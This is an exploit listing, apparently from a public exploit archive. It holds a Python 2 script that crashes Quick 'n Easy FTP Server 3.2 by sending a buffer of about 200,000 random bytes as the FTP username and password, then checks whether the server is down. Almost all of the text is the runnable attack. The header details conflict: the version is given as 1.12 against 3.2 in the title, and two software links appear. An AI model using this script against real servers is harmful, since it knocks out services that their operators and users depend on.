Quick N Easy FTP Server 3.2 Denial Of Service

`# Exploit Title:[DOS LOGIN] Quick 'n Easy FTP Server 3.2  
# Date:28/2/2011  
# Author: clshack  
# Software Link:  
http://www.pablosoftwaresolutions.com/html/quick__n_easy_ftp_server.html<http://downstairs.dnsalias.net/homeftpserver.html>  
# Version:1.12  
# Tested on: windows xp sp3 en  
# CVE :  
  
#!/usr/bin/python  
from ftplib import *  
import random  
import socket  
def ping(host,port):  
try:  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  
connect=s.connect((host,port));  
except Exception ,e :  
print e  
return 0;  
s.close();  
return 1;  
  
host = "192.168.1.155"  
port = 21  
buffer="";  
while(len(buffer)<200000):  
buffer+=chr(int(random.uniform(0,255)))*2+"?";  
try:  
ftp=FTP();  
ftp.connect(host,port);  
ftp.sendcmd("USER "+buffer)  
ftp.sendcmd("PASS "+buffer)  
ftp.quit();  
ftp.close();  
sleep(int(random.uniform(0,2)))  
except Exception, e:  
print e  
if not ping(host,port):  
print "Dos in Login credentials \n"  
exit(-1)  
  
Twitter:clshackblog  
  
`